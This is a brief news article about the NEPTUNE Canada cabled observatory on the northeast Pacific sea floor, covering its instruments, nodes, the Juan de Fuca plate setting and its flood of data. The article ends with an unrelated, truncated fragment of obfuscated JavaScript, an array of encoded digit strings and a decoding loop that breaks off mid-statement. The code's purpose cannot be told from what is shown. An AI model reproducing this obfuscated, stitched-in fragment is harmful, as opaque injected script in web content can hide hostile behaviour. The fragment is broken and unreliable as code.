

## Neptune undersea project delivers flood of data

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The Neptune sea-floor observatory in the Pacific Ocean will provide terabytes of data.

Results are pouring in from an ambitious project that has wired the floor of the northeast Pacific Ocean with an array of cameras, seismometers, chemical sensors and more. The challenge won't be getting good data, but rather handling the vast quantities of it, project scientists reported last week at their first post-launch meeting in Victoria, Canada.

The \$145-million project, called NEPTUNE Canada (North-East Pacific Time-Series Undersea Networked Experiments), has laid 800 kilometres of cable to transmit power and data, and established five 'nodes' that act like giant, 13-tonne plug-in points for scientific instrumentation, lying up to 2.6 kilometres beneath the waves (see [map](#)). The network spans the Juan de Fuca plate, which sits between the Pacific and the North American plates and hosts earthquakes and tsunamis, giant clams and whale pods, along with hydrothermal vents and frozen methane deposits.

More at [this site](#)

```
var a=0,m,v,t,z,x=new  
Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656  
380','7684','61818075'),l=x.length;while(++a
```